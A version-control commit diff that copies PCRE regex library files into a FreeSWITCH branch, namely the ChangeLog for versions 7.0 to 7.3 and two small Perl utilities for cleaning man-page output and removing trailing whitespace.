+16. Added Craig's patch to remove the WINDOWS_H tests, that were not working,
+    and instead check for _strtoi64 explicitly, and avoid the use of snprintf()
+    entirely. This removes changes made in 7 above.
+
+17. The CMake files have been updated, and there is now more information about
+    building with CMake in the NON-UNIX-USE document.
+
+
+Version 7.3 28-Aug-07
+---------------------
+
+ 1. In the rejigging of the build system that eventually resulted in 7.1, the
+    line "#include <pcre.h>" was included in pcre_internal.h. The use of angle
+    brackets there is not right, since it causes compilers to look for an
+    installed pcre.h, not the version that is in the source that is being
+    compiled (which of course may be different). I have changed it back to:
+
+      #include "pcre.h"
+
+    I have a vague recollection that the change was concerned with compiling in
+    different directories, but in the new build system, that is taken care of
+    by the VPATH setting the Makefile.
+
+ 2. The pattern .*$ when run in not-DOTALL UTF-8 mode with newline=any failed
+    when the subject happened to end in the byte 0x85 (e.g. if the last
+    character was \x{1ec5}). *Character* 0x85 is one of the "any" newline
+    characters but of course it shouldn't be taken as a newline when it is part
+    of another character. The bug was that, for an unlimited repeat of . in
+    not-DOTALL UTF-8 mode, PCRE was advancing by bytes rather than by
+    characters when looking for a newline.
+
+ 3. A small performance improvement in the DOTALL UTF-8 mode .* case.
+
+ 4. Debugging: adjusted the names of opcodes for different kinds of parentheses
+    in debug output.
+
+ 5. Arrange to use "%I64d" instead of "%lld" and "%I64u" instead of "%llu" for
+    long printing in the pcrecpp unittest when running under MinGW.
+
+ 6. ESC_K was left out of the EBCDIC table.
+
+ 7. Change 7.0/38 introduced a new limit on the number of nested non-capturing
+    parentheses; I made it 1000, which seemed large enough. Unfortunately, the
+    limit also applies to "virtual nesting" when a pattern is recursive, and in
+    this case 1000 isn't so big. I have been able to remove this limit at the
+    expense of backing off one optimization in certain circumstances. Normally,
+    when pcre_exec() would call its internal match() function recursively and
+    immediately return the result unconditionally, it uses a "tail recursion"
+    feature to save stack. However, when a subpattern that can match an empty
+    string has an unlimited repetition quantifier, it no longer makes this
+    optimization. That gives it a stack frame in which to save the data for
+    checking that an empty string has been matched. Previously this was taken
+    from the 1000-entry workspace that had been reserved. So now there is no
+    explicit limit, but more stack is used.
+
+ 8. Applied Daniel's patches to solve problems with the import/export magic
+    syntax that is required for Windows, and which was going wrong for the
+    pcreposix and pcrecpp parts of the library. These were overlooked when this
+    problem was solved for the main library.
+
+ 9. There were some crude static tests to avoid integer overflow when computing
+    the size of patterns that contain repeated groups with explicit upper
+    limits. As the maximum quantifier is 65535, the maximum group length was
+    set at 30,000 so that the product of these two numbers did not overflow a
+    32-bit integer. However, it turns out that people want to use groups that
+    are longer than 30,000 bytes (though not repeat them that many times).
+    Change 7.0/17 (the refactoring of the way the pattern size is computed) has
+    made it possible to implement the integer overflow checks in a much more
+    dynamic way, which I have now done. The artificial limitation on group
+    length has been removed - we now have only the limit on the total length of
+    the compiled pattern, which depends on the LINK_SIZE setting.
+
+10. Fixed a bug in the documentation for get/copy named substring when
+    duplicate names are permitted. If none of the named substrings are set, the
+    functions return PCRE_ERROR_NOSUBSTRING (7); the doc said they returned an
+    empty string.
+
+11. Because Perl interprets \Q...\E at a high level, and ignores orphan \E
+    instances, patterns such as [\Q\E] or [\E] or even [^\E] cause an error,
+    because the ] is interpreted as the first data character and the
+    terminating ] is not found. PCRE has been made compatible with Perl in this
+    regard. Previously, it interpreted [\Q\E] as an empty class, and [\E] could
+    cause memory overwriting.
+
+10. Like Perl, PCRE automatically breaks an unlimited repeat after an empty
+    string has been matched (to stop an infinite loop). It was not recognizing
+    a conditional subpattern that could match an empty string if that
+    subpattern was within another subpattern. For example, it looped when
+    trying to match  (((?(1)X|))*)  but it was OK with  ((?(1)X|)*)  where the
+    condition was not nested. This bug has been fixed.
+
+12. A pattern like \X?\d or \P{L}?\d in non-UTF-8 mode could cause a backtrack
+    past the start of the subject in the presence of bytes with the top bit
+    set, for example "\x8aBCD".
+
+13. Added Perl 5.10 experimental backtracking controls (*FAIL), (*F), (*PRUNE),
+    (*SKIP), (*THEN), (*COMMIT), and (*ACCEPT).
+
+14. Optimized (?!) to (*FAIL).
+
+15. Updated the test for a valid UTF-8 string to conform to the later RFC 3629.
+    This restricts code points to be within the range 0 to 0x10FFFF, excluding
+    the "low surrogate" sequence 0xD800 to 0xDFFF. Previously, PCRE allowed the
+    full range 0 to 0x7FFFFFFF, as defined by RFC 2279. Internally, it still
+    does: it's just the validity check that is more restrictive.
+
+16. Inserted checks for integer overflows during escape sequence (backslash)
+    processing, and also fixed erroneous offset values for syntax errors during
+    backslash processing.
+
+17. Fixed another case of looking too far back in non-UTF-8 mode (cf 12 above)
+    for patterns like [\PPP\x8a]{1,}\x80 with the subject "A\x80".
+
+18. An unterminated class in a pattern like (?1)\c[ with a "forward reference"
+    caused an overrun.
+
+19. A pattern like (?:[\PPa*]*){8,} which had an "extended class" (one with
+    something other than just ASCII characters) inside a group that had an
+    unlimited repeat caused a loop at compile time (while checking to see
+    whether the group could match an empty string).
+
+20. Debugging a pattern containing \p or \P could cause a crash. For example,
+    [\P{Any}] did so. (Error in the code for printing property names.)
+
+21. An orphan \E inside a character class could cause a crash.
+
+22. A repeated capturing bracket such as (A)? could cause a wild memory
+    reference during compilation.
+
+23. There are several functions in pcre_compile() that scan along a compiled
+    expression for various reasons (e.g. to see if it's fixed length for look
+    behind). There were bugs in these functions when a repeated \p or \P was
+    present in the pattern. These operators have additional parameters compared
+    with \d, etc, and these were not being taken into account when moving along
+    the compiled data. Specifically:
+
+    (a) A item such as \p{Yi}{3} in a lookbehind was not treated as fixed
+        length.
+
+    (b) An item such as \pL+ within a repeated group could cause crashes or
+        loops.
+
+    (c) A pattern such as \p{Yi}+(\P{Yi}+)(?1) could give an incorrect
+        "reference to non-existent subpattern" error.
+
+    (d) A pattern like (\P{Yi}{2}\277)? could loop at compile time.
+
+24. A repeated \S or \W in UTF-8 mode could give wrong answers when multibyte
+    characters were involved (for example /\S{2}/8g with "A\x{a3}BC").
+
+25. Using pcregrep in multiline, inverted mode (-Mv) caused it to loop.
+
+26. Patterns such as [\P{Yi}A] which include \p or \P and just one other
+    character were causing crashes (broken optimization).
+
+27. Patterns such as (\P{Yi}*\277)* (group with possible zero repeat containing
+    \p or \P) caused a compile-time loop.
+
+28. More problems have arisen in unanchored patterns when CRLF is a valid line
+    break. For example, the unstudied pattern [\r\n]A does not match the string
+    "\r\nA" because change 7.0/46 below moves the current point on by two
+    characters after failing to match at the start. However, the pattern \nA
+    *does* match, because it doesn't start till \n, and if [\r\n]A is studied,
+    the same is true. There doesn't seem any very clean way out of this, but
+    what I have chosen to do makes the common cases work: PCRE now takes note
+    of whether there can be an explicit match for \r or \n anywhere in the
+    pattern, and if so, 7.0/46 no longer applies. As part of this change,
+    there's a new PCRE_INFO_HASCRORLF option for finding out whether a compiled
+    pattern has explicit CR or LF references.
+
+29. Added (*CR) etc for changing newline setting at start of pattern.
+
+
+Version 7.2 19-Jun-07
+---------------------
+
+ 1. If the fr_FR locale cannot be found for test 3, try the "french" locale,
+    which is apparently normally available under Windows.
+
+ 2. Re-jig the pcregrep tests with different newline settings in an attempt
+    to make them independent of the local environment's newline setting.
+
+ 3. Add code to configure.ac to remove -g from the CFLAGS default settings.
+
+ 4. Some of the "internals" tests were previously cut out when the link size
+    was not 2, because the output contained actual offsets. The recent new
+    "Z" feature of pcretest means that these can be cut out, making the tests
+    usable with all link sizes.
+
+ 5. Implemented Stan Switzer's goto replacement for longjmp() when not using
+    stack recursion. This gives a massive performance boost under BSD, but just
+    a small improvement under Linux. However, it saves one field in the frame
+    in all cases.
+
+ 6. Added more features from the forthcoming Perl 5.10:
+
+    (a) (?-n) (where n is a string of digits) is a relative subroutine or
+        recursion call. It refers to the nth most recently opened parentheses.
+
+    (b) (?+n) is also a relative subroutine call; it refers to the nth next
+        to be opened parentheses.
+
+    (c) Conditions that refer to capturing parentheses can be specified
+        relatively, for example, (?(-2)... or (?(+3)...
+
+    (d) \K resets the start of the current match so that everything before
+        is not part of it.
+
+    (e) \k{name} is synonymous with \k<name> and \k'name' (.NET compatible).
+
+    (f) \g{name} is another synonym - part of Perl 5.10's unification of
+        reference syntax.
+
+    (g) (?| introduces a group in which the numbering of parentheses in each
+        alternative starts with the same number.
+
+    (h) \h, \H, \v, and \V match horizontal and vertical whitespace.
+
+ 7. Added two new calls to pcre_fullinfo(): PCRE_INFO_OKPARTIAL and
+    PCRE_INFO_JCHANGED.
+
+ 8. A pattern such as  (.*(.)?)*  caused pcre_exec() to fail by either not
+    terminating or by crashing. Diagnosed by Viktor Griph; it was in the code
+    for detecting groups that can match an empty string.
+
+ 9. A pattern with a very large number of alternatives (more than several
+    hundred) was running out of internal workspace during the pre-compile
+    phase, where pcre_compile() figures out how much memory will be needed. A
+    bit of new cunning has reduced the workspace needed for groups with
+    alternatives. The 1000-alternative test pattern now uses 12 bytes of
+    workspace instead of running out of the 4096 that are available.
+
+10. Inserted some missing (unsigned int) casts to get rid of compiler warnings.
+
+11. Applied patch from Google to remove an optimization that didn't quite work.
+    The report of the bug said:
+
+      pcrecpp::RE("a*").FullMatch("aaa") matches, while
+      pcrecpp::RE("a*?").FullMatch("aaa") does not, and
+      pcrecpp::RE("a*?\\z").FullMatch("aaa") does again.
+
+12. If \p or \P was used in non-UTF-8 mode on a character greater than 127
+    it matched the wrong number of bytes.
+
+
+Version 7.1 24-Apr-07
+---------------------
+
+ 1. Applied Bob Rossi and Daniel G's patches to convert the build system to one
+    that is more "standard", making use of automake and other Autotools. There
+    is some re-arrangement of the files and adjustment of comments consequent
+    on this.
+
+ 2. Part of the patch fixed a problem with the pcregrep tests. The test of -r
+    for recursive directory scanning broke on some systems because the files
+    are not scanned in any specific order and on different systems the order
+    was different. A call to "sort" has been inserted into RunGrepTest for the
+    approprate test as a short-term fix. In the longer term there may be an
+    alternative.
+
+ 3. I had an email from Eric Raymond about problems translating some of PCRE's
+    man pages to HTML (despite the fact that I distribute HTML pages, some
+    people do their own conversions for various reasons). The problems
+    concerned the use of low-level troff macros .br and .in. I have therefore
+    removed all such uses from the man pages (some were redundant, some could
+    be replaced by .nf/.fi pairs). The 132html script that I use to generate
+    HTML has been updated to handle .nf/.fi and to complain if it encounters
+    .br or .in.
+
+ 4. Updated comments in configure.ac that get placed in config.h.in and also
+    arranged for config.h to be included in the distribution, with the name
+    config.h.generic, for the benefit of those who have to compile without
+    Autotools (compare pcre.h, which is now distributed as pcre.h.generic).
+
+ 5. Updated the support (such as it is) for Virtual Pascal, thanks to Stefan
+    Weber: (1) pcre_internal.h was missing some function renames; (2) updated
+    makevp.bat for the current PCRE, using the additional files
+    makevp_c.txt, makevp_l.txt, and pcregexp.pas.
+
+ 6. A Windows user reported a minor discrepancy with test 2, which turned out
+    to be caused by a trailing space on an input line that had got lost in his
+    copy. The trailing space was an accident, so I've just removed it.
+
+ 7. Add -Wl,-R... flags in pcre-config.in for *BSD* systems, as I'm told
+    that is needed.
+
+ 8. Mark ucp_table (in ucptable.h) and ucp_gentype (in pcre_ucp_searchfuncs.c)
+    as "const" (a) because they are and (b) because it helps the PHP
+    maintainers who have recently made a script to detect big data structures
+    in the php code that should be moved to the .rodata section. I remembered
+    to update Builducptable as well, so it won't revert if ucptable.h is ever
+    re-created.
+
+ 9. Added some extra #ifdef SUPPORT_UTF8 conditionals into pcretest.c,
+    pcre_printint.src, pcre_compile.c, pcre_study.c, and pcre_tables.c, in
+    order to be able to cut out the UTF-8 tables in the latter when UTF-8
+    support is not required. This saves 1.5-2K of code, which is important in
+    some applications.
+
+    Later: more #ifdefs are needed in pcre_ord2utf8.c and pcre_valid_utf8.c
+    so as not to refer to the tables, even though these functions will never be
+    called when UTF-8 support is disabled. Otherwise there are problems with a
+    shared library.
+
+10. Fixed two bugs in the emulated memmove() function in pcre_internal.h:
+
+    (a) It was defining its arguments as char * instead of void *.
+
+    (b) It was assuming that all moves were upwards in memory; this was true
+        a long time ago when I wrote it, but is no longer the case.
+
+    The emulated memove() is provided for those environments that have neither
+    memmove() nor bcopy(). I didn't think anyone used it these days, but that
+    is clearly not the case, as these two bugs were recently reported.
+
+11. The script PrepareRelease is now distributed: it calls 132html, CleanTxt,
+    and Detrail to create the HTML documentation, the .txt form of the man
+    pages, and it removes trailing spaces from listed files. It also creates
+    pcre.h.generic and config.h.generic from pcre.h and config.h. In the latter
+    case, it wraps all the #defines with #ifndefs. This script should be run
+    before "make dist".
+
+12. Fixed two fairly obscure bugs concerned with quantified caseless matching
+    with Unicode property support.
+
+    (a) For a maximizing quantifier, if the two different cases of the
+        character were of different lengths in their UTF-8 codings (there are
+        some cases like this - I found 11), and the matching function had to
+        back up over a mixture of the two cases, it incorrectly assumed they
+        were both the same length.
+
+    (b) When PCRE was configured to use the heap rather than the stack for
+        recursion during matching, it was not correctly preserving the data for
+        the other case of a UTF-8 character when checking ahead for a match
+        while processing a minimizing repeat. If the check also involved
+        matching a wide character, but failed, corruption could cause an
+        erroneous result when trying to check for a repeat of the original
+        character.
+
+13. Some tidying changes to the testing mechanism:
+
+    (a) The RunTest script now detects the internal link size and whether there
+        is UTF-8 and UCP support by running ./pcretest -C instead of relying on
+        values substituted by "configure". (The RunGrepTest script already did
+        this for UTF-8.) The configure.ac script no longer substitutes the
+        relevant variables.
+
+    (b) The debugging options /B and /D in pcretest show the compiled bytecode
+        with length and offset values. This means that the output is different
+        for different internal link sizes. Test 2 is skipped for link sizes
+        other than 2 because of this, bypassing the problem. Unfortunately,
+        there was also a test in test 3 (the locale tests) that used /B and
+        failed for link sizes other than 2. Rather than cut the whole test out,
+        I have added a new /Z option to pcretest that replaces the length and
+        offset values with spaces. This is now used to make test 3 independent
+        of link size. (Test 2 will be tidied up later.)
+
+14. If erroroffset was passed as NULL to pcre_compile, it provoked a
+    segmentation fault instead of returning the appropriate error message.
+
+15. In multiline mode when the newline sequence was set to "any", the pattern
+    ^$ would give a match between the \r and \n of a subject such as "A\r\nB".
+    This doesn't seem right; it now treats the CRLF combination as the line
+    ending, and so does not match in that case. It's only a pattern such as ^$
+    that would hit this one: something like ^ABC$ would have failed after \r
+    and then tried again after \r\n.
+
+16. Changed the comparison command for RunGrepTest from "diff -u" to "diff -ub"
+    in an attempt to make files that differ only in their line terminators
+    compare equal. This works on Linux.
+
+17. Under certain error circumstances pcregrep might try to free random memory
+    as it exited. This is now fixed, thanks to valgrind.
+
+19. In pcretest, if the pattern /(?m)^$/g<any> was matched against the string
+    "abc\r\n\r\n", it found an unwanted second match after the second \r. This
+    was because its rules for how to advance for /g after matching an empty
+    string at the end of a line did not allow for this case. They now check for
+    it specially.
+
+20. pcretest is supposed to handle patterns and data of any length, by
+    extending its buffers when necessary. It was getting this wrong when the
+    buffer for a data line had to be extended.
+
+21. Added PCRE_NEWLINE_ANYCRLF which is like ANY, but matches only CR, LF, or
+    CRLF as a newline sequence.
+
+22. Code for handling Unicode properties in pcre_dfa_exec() wasn't being cut
+    out by #ifdef SUPPORT_UCP. This did no harm, as it could never be used, but
+    I have nevertheless tidied it up.
+
+23. Added some casts to kill warnings from HP-UX ia64 compiler.
+
+24. Added a man page for pcre-config.
+
+
+Version 7.0 19-Dec-06
+---------------------
+
+ 1. Fixed a signed/unsigned compiler warning in pcre_compile.c, shown up by
+    moving to gcc 4.1.1.
+
+ 2. The -S option for pcretest uses setrlimit(); I had omitted to #include
+    sys/time.h, which is documented as needed for this function. It doesn't
+    seem to matter on Linux, but it showed up on some releases of OS X.
+
+ 3. It seems that there are systems where bytes whose values are greater than
+    127 match isprint() in the "C" locale. The "C" locale should be the
+    default when a C program starts up. In most systems, only ASCII printing
+    characters match isprint(). This difference caused the output from pcretest
+    to vary, making some of the tests fail. I have changed pcretest so that:
+
+    (a) When it is outputting text in the compiled version of a pattern, bytes
+        other than 32-126 are always shown as hex escapes.
+
+    (b) When it is outputting text that is a matched part of a subject string,
+        it does the same, unless a different locale has been set for the match
+        (using the /L modifier). In this case, it uses isprint() to decide.
+
+ 4. Fixed a major bug that caused incorrect computation of the amount of memory
+    required for a compiled pattern when options that changed within the
+    pattern affected the logic of the preliminary scan that determines the
+    length. The relevant options are -x, and -i in UTF-8 mode. The result was
+    that the computed length was too small. The symptoms of this bug were
+    either the PCRE error "internal error: code overflow" from pcre_compile(),
+    or a glibc crash with a message such as "pcretest: free(): invalid next
+    size (fast)". Examples of patterns that provoked this bug (shown in
+    pcretest format) are:
+
+      /(?-x: )/x
+      /(?x)(?-x: \s*#\s*)/
+      /((?i)[\x{c0}])/8
+      /(?i:[\x{c0}])/8
+
+    HOWEVER: Change 17 below makes this fix obsolete as the memory computation
+    is now done differently.
+
+ 5. Applied patches from Google to: (a) add a QuoteMeta function to the C++
+    wrapper classes; (b) implement a new function in the C++ scanner that is
+    more efficient than the old way of doing things because it avoids levels of
+    recursion in the regex matching; (c) add a paragraph to the documentation
+    for the FullMatch() function.
+
+ 6. The escape sequence \n was being treated as whatever was defined as
+    "newline". Not only was this contrary to the documentation, which states
+    that \n is character 10 (hex 0A), but it also went horribly wrong when
+    "newline" was defined as CRLF. This has been fixed.
+
+ 7. In pcre_dfa_exec.c the value of an unsigned integer (the variable called c)
+    was being set to -1 for the "end of line" case (supposedly a value that no
+    character can have). Though this value is never used (the check for end of
+    line is "zero bytes in current character"), it caused compiler complaints.
+    I've changed it to 0xffffffff.
+
+ 8. In pcre_version.c, the version string was being built by a sequence of
+    C macros that, in the event of PCRE_PRERELEASE being defined as an empty
+    string (as it is for production releases) called a macro with an empty
+    argument. The C standard says the result of this is undefined. The gcc
+    compiler treats it as an empty string (which was what was wanted) but it is
+    reported that Visual C gives an error. The source has been hacked around to
+    avoid this problem.
+
+ 9. On the advice of a Windows user, included <io.h> and <fcntl.h> in Windows
+    builds of pcretest, and changed the call to _setmode() to use _O_BINARY
+    instead of 0x8000. Made all the #ifdefs test both _WIN32 and WIN32 (not all
+    of them did).
+
+10. Originally, pcretest opened its input and output without "b"; then I was
+    told that "b" was needed in some environments, so it was added for release
+    5.0 to both the input and output. (It makes no difference on Unix-like
+    systems.) Later I was told that it is wrong for the input on Windows. I've
+    now abstracted the modes into two macros, to make it easier to fiddle with
+    them, and removed "b" from the input mode under Windows.
+
+11. Added pkgconfig support for the C++ wrapper library, libpcrecpp.
+
+12. Added -help and --help to pcretest as an official way of being reminded
+    of the options.
+
+13. Removed some redundant semicolons after macro calls in pcrecpparg.h.in
+    and pcrecpp.cc because they annoy compilers at high warning levels.
+
+14. A bit of tidying/refactoring in pcre_exec.c in the main bumpalong loop.
+
+15. Fixed an occurrence of == in configure.ac that should have been = (shell
+    scripts are not C programs :-) and which was not noticed because it works
+    on Linux.
+
+16. pcretest is supposed to handle any length of pattern and data line (as one
+    line or as a continued sequence of lines) by extending its input buffer if
+    necessary. This feature was broken for very long pattern lines, leading to
+    a string of junk being passed to pcre_compile() if the pattern was longer
+    than about 50K.
+
+17. I have done a major re-factoring of the way pcre_compile() computes the
+    amount of memory needed for a compiled pattern. Previously, there was code
+    that made a preliminary scan of the pattern in order to do this. That was
+    OK when PCRE was new, but as the facilities have expanded, it has become
+    harder and harder to keep it in step with the real compile phase, and there
+    have been a number of bugs (see for example, 4 above). I have now found a
+    cunning way of running the real compile function in a "fake" mode that
+    enables it to compute how much memory it would need, while actually only
+    ever using a few hundred bytes of working memory and without too many
+    tests of the mode. This should make future maintenance and development
+    easier. A side effect of this work is that the limit of 200 on the nesting
+    depth of parentheses has been removed (though this was never a serious
+    limitation, I suspect). However, there is a downside: pcre_compile() now
+    runs more slowly than before (30% or more, depending on the pattern). I
+    hope this isn't a big issue. There is no effect on runtime performance.
+
+18. Fixed a minor bug in pcretest: if a pattern line was not terminated by a
+    newline (only possible for the last line of a file) and it was a
+    pattern that set a locale (followed by /Lsomething), pcretest crashed.
+
+19. Added additional timing features to pcretest. (1) The -tm option now times
+    matching only, not compiling. (2) Both -t and -tm can be followed, as a
+    separate command line item, by a number that specifies the number of
+    repeats to use when timing. The default is 50000; this gives better
+    precision, but takes uncomfortably long for very large patterns.
+
+20. Extended pcre_study() to be more clever in cases where a branch of a
+    subpattern has no definite first character. For example, (a*|b*)[cd] would
+    previously give no result from pcre_study(). Now it recognizes that the
+    first character must be a, b, c, or d.
+
+21. There was an incorrect error "recursive call could loop indefinitely" if
+    a subpattern (or the entire pattern) that was being tested for matching an
+    empty string contained only one non-empty item after a nested subpattern.
+    For example, the pattern (?>\x{100}*)\d(?R) provoked this error
+    incorrectly, because the \d was being skipped in the check.
+
+22. The pcretest program now has a new pattern option /B and a command line
+    option -b, which is equivalent to adding /B to every pattern. This causes
+    it to show the compiled bytecode, without the additional information that
+    -d shows. The effect of -d is now the same as -b with -i (and similarly, /D
+    is the same as /B/I).
+
+23. A new optimization is now able automatically to treat some sequences such
+    as a*b as a*+b. More specifically, if something simple (such as a character
+    or a simple class like \d) has an unlimited quantifier, and is followed by
+    something that cannot possibly match the quantified thing, the quantifier
+    is automatically "possessified".
+
+24. A recursive reference to a subpattern whose number was greater than 39
+    went wrong under certain circumstances in UTF-8 mode. This bug could also
+    have affected the operation of pcre_study().
+
+25. Realized that a little bit of performance could be had by replacing
+    (c & 0xc0) == 0xc0 with c >= 0xc0 when processing UTF-8 characters.
+
+26. Timing data from pcretest is now shown to 4 decimal places instead of 3.
+
+27. Possessive quantifiers such as a++ were previously implemented by turning
+    them into atomic groups such as ($>a+). Now they have their own opcodes,
+    which improves performance. This includes the automatically created ones
+    from 23 above.
+
+28. A pattern such as (?=(\w+))\1: which simulates an atomic group using a
+    lookahead was broken if it was not anchored. PCRE was mistakenly expecting
+    the first matched character to be a colon. This applied both to named and
+    numbered groups.
+
+29. The ucpinternal.h header file was missing its idempotency #ifdef.
+
+30. I was sent a "project" file called libpcre.a.dev which I understand makes
+    building PCRE on Windows easier, so I have included it in the distribution.
+
+31. There is now a check in pcretest against a ridiculously large number being
+    returned by pcre_exec() or pcre_dfa_exec(). If this happens in a /g or /G
+    loop, the loop is abandoned.
+
+32. Forward references to subpatterns in conditions such as (?(2)...) where
+    subpattern 2 is defined later cause pcre_compile() to search forwards in
+    the pattern for the relevant set of parentheses. This search went wrong
+    when there were unescaped parentheses in a character class, parentheses
+    escaped with \Q...\E, or parentheses in a #-comment in /x mode.
+
+33. "Subroutine" calls and backreferences were previously restricted to
+    referencing subpatterns earlier in the regex. This restriction has now
+    been removed.
+
+34. Added a number of extra features that are going to be in Perl 5.10. On the
+    whole, these are just syntactic alternatives for features that PCRE had
+    previously implemented using the Python syntax or my own invention. The
+    other formats are all retained for compatibility.
+
+    (a) Named groups can now be defined as (?<name>...) or (?'name'...) as well
+        as (?P<name>...). The new forms, as well as being in Perl 5.10, are
+        also .NET compatible.
+
+    (b) A recursion or subroutine call to a named group can now be defined as
+        (?&name) as well as (?P>name).
+
+    (c) A backreference to a named group can now be defined as \k<name> or
+        \k'name' as well as (?P=name). The new forms, as well as being in Perl
+        5.10, are also .NET compatible.
+
+    (d) A conditional reference to a named group can now use the syntax
+        (?(<name>) or (?('name') as well as (?(name).
+
+    (e) A "conditional group" of the form (?(DEFINE)...) can be used to define
+        groups (named and numbered) that are never evaluated inline, but can be
+        called as "subroutines" from elsewhere. In effect, the DEFINE condition
+        is always false. There may be only one alternative in such a group.
+
+    (f) A test for recursion can be given as (?(R1).. or (?(R&name)... as well
+        as the simple (?(R). The condition is true only if the most recent
+        recursion is that of the given number or name. It does not search out
+        through the entire recursion stack.
+
+    (g) The escape \gN or \g{N} has been added, where N is a positive or
+        negative number, specifying an absolute or relative reference.
+
+35. Tidied to get rid of some further signed/unsigned compiler warnings and
+    some "unreachable code" warnings.
+
+36. Updated the Unicode property tables to Unicode version 5.0.0. Amongst other
+    things, this adds five new scripts.
+
+37. Perl ignores orphaned \E escapes completely. PCRE now does the same.
+    There were also incompatibilities regarding the handling of \Q..\E inside
+    character classes, for example with patterns like [\Qa\E-\Qz\E] where the
+    hyphen was adjacent to \Q or \E. I hope I've cleared all this up now.
+
+38. Like Perl, PCRE detects when an indefinitely repeated parenthesized group
+    matches an empty string, and forcibly breaks the loop. There were bugs in
+    this code in non-simple cases. For a pattern such as  ^(a()*)*  matched
+    against  aaaa  the result was just "a" rather than "aaaa", for example. Two
+    separate and independent bugs (that affected different cases) have been
+    fixed.
+
+39. Refactored the code to abolish the use of different opcodes for small
+    capturing bracket numbers. This is a tidy that I avoided doing when I
+    removed the limit on the number of capturing brackets for 3.5 back in 2001.
+    The new approach is not only tidier, it makes it possible to reduce the
+    memory needed to fix the previous bug (38).
+
+40. Implemented PCRE_NEWLINE_ANY to recognize any of the Unicode newline
+    sequences (http://unicode.org/unicode/reports/tr18/) as "newline" when
+    processing dot, circumflex, or dollar metacharacters, or #-comments in /x
+    mode.
+
+41. Add \R to match any Unicode newline sequence, as suggested in the Unicode
+    report.
+
+42. Applied patch, originally from Ari Pollak, modified by Google, to allow
+    copy construction and assignment in the C++ wrapper.
+
+43. Updated pcregrep to support "--newline=any". In the process, I fixed a
+    couple of bugs that could have given wrong results in the "--newline=crlf"
+    case.
+
+44. Added a number of casts and did some reorganization of signed/unsigned int
+    variables following suggestions from Dair Grant. Also renamed the variable
+    "this" as "item" because it is a C++ keyword.
+
+45. Arranged for dftables to add
+
+      #include "pcre_internal.h"
+
+    to pcre_chartables.c because without it, gcc 4.x may remove the array
+    definition from the final binary if PCRE is built into a static library and
+    dead code stripping is activated.
+
+46. For an unanchored pattern, if a match attempt fails at the start of a
+    newline sequence, and the newline setting is CRLF or ANY, and the next two
+    characters are CRLF, advance by two characters instead of one.
+
+
 Version 6.7 04-Jul-06
 ---------------------
 

Copied: freeswitch/branches/seven/libs/pcre/CleanTxt (from rev 14471, freeswitch/trunk/libs/pcre/CleanTxt) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/CleanTxt	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/CleanTxt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,113 @@
+#! /usr/bin/perl -w
+
+# Script to take the output of nroff -man and remove all the backspacing and
+# the page footers and the screen commands etc so that it is more usefully
+# readable online. In fact, in the latest nroff, intermediate footers don't
+# seem to be generated any more.
+
+$blankcount = 0;
+$lastwascut = 0;
+$firstheader = 1;
+
+# Input on STDIN; output to STDOUT.
+
+while (<STDIN>)
+  {
+  s/\x1b\[\d+m//g;   # Remove screen controls "ESC [ number m"
+  s/.\x8//g;         # Remove "char, backspace"
+
+  # Handle header lines. Retain only the first one we encounter, but remove
+  # the blank line that follows. Any others (e.g. at end of document) and the
+  # following blank line are dropped.
+
+  if (/^PCRE(\w*)\(([13])\)\s+PCRE\1\(\2\)$/)
+    {
+    if ($firstheader)
+      {
+      $firstheader = 0;
+      print;
+      $lastprinted = $_;
+      $lastwascut = 0;
+      }
+    $_=<STDIN>;       # Remove a blank that follows
+    next;
+    }
+
+  # Count runs of empty lines
+
+  if (/^\s*$/)
+    {
+    $blankcount++;
+    $lastwascut = 0;
+    next;
+    }
+
+  # If a chunk of lines has been cut out (page footer) and the next line
+  # has a different indentation, put back one blank line.
+
+  if ($lastwascut && $blankcount < 1 && defined($lastprinted))
+    {
+    ($a) = $lastprinted =~ /^(\s*)/;
+    ($b) = $_ =~ /^(\s*)/;
+    $blankcount++ if ($a ne $b);
+    }
+
+  # We get here only when we have a non-blank line in hand. If it was preceded
+  # by 3 or more blank lines, read the next 3 lines and see if they are blank.
+  # If so, remove all 7 lines, and remember that we have just done a cut.
+
+  if ($blankcount >= 3)
+    {
+    for ($i = 0; $i < 3; $i++)
+      {
+      $next[$i] = <STDIN>;
+      $next[$i] = "" if !defined $next[$i];
+      $next[$i] =~ s/\x1b\[\d+m//g;   # Remove screen controls "ESC [ number m"
+      $next[$i] =~ s/.\x8//g;         # Remove "char, backspace"
+      }
+
+    # Cut out chunks of the form <3 blanks><non-blank><3 blanks>
+
+    if ($next[0] =~ /^\s*$/ &&
+        $next[1] =~ /^\s*$/ &&
+        $next[2] =~ /^\s*$/)
+      {
+      $blankcount -= 3;
+      $lastwascut = 1;
+      }
+
+    # Otherwise output the saved blanks, the current, and the next three
+    # lines. Remember the last printed line.
+
+    else
+      {
+      for ($i = 0; $i < $blankcount; $i++) { print "\n"; }
+      print;
+      for ($i = 0; $i < 3; $i++)
+        {
+        $next[$i] =~ s/.\x8//g;
+        print $next[$i];
+        $lastprinted = $_;
+        }
+      $lastwascut = 0;
+      $blankcount = 0;
+      }
+    }
+
+  # This non-blank line is not preceded by 3 or more blank lines. Output
+  # any blanks there are, and the line. Remember it. Force two blank lines
+  # before headings.
+
+  else
+    {
+    $blankcount = 2 if /^\S/ && !/^Last updated/ && !/^Copyright/ &&
+      defined($lastprinted);
+    for ($i = 0; $i < $blankcount; $i++) { print "\n"; }
+    print;
+    $lastprinted = $_;
+    $lastwascut = 0;
+    $blankcount = 0;
+    }
+  }
+
+# End

Copied: freeswitch/branches/seven/libs/pcre/Detrail (from rev 14471, freeswitch/trunk/libs/pcre/Detrail) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/Detrail	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/Detrail	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,35 @@
+#!/usr/bin/perl
+
+# This is a script for removing trailing whitespace from lines in files that
+# are listed on the command line.
+
+# This subroutine does the work for one file.
+
+sub detrail {
+my($file) = $_[0];
+my($changed) = 0;
+open(IN, "$file") || die "Can't open $file for input";
+@lines = <IN>;
+close(IN);
+foreach (@lines)
+  {
+  if (/\s+\n$/)
+    {
+    s/\s+\n$/\n/;
+    $changed = 1;
+    }
+  }
+if ($changed)
+  {
+  open(OUT, ">$file") || die "Can't open $file for output";
+  print OUT @lines;
+  close(OUT);
+  }
+}
+
+# This is the main program
+
+$, = "";   # Output field separator
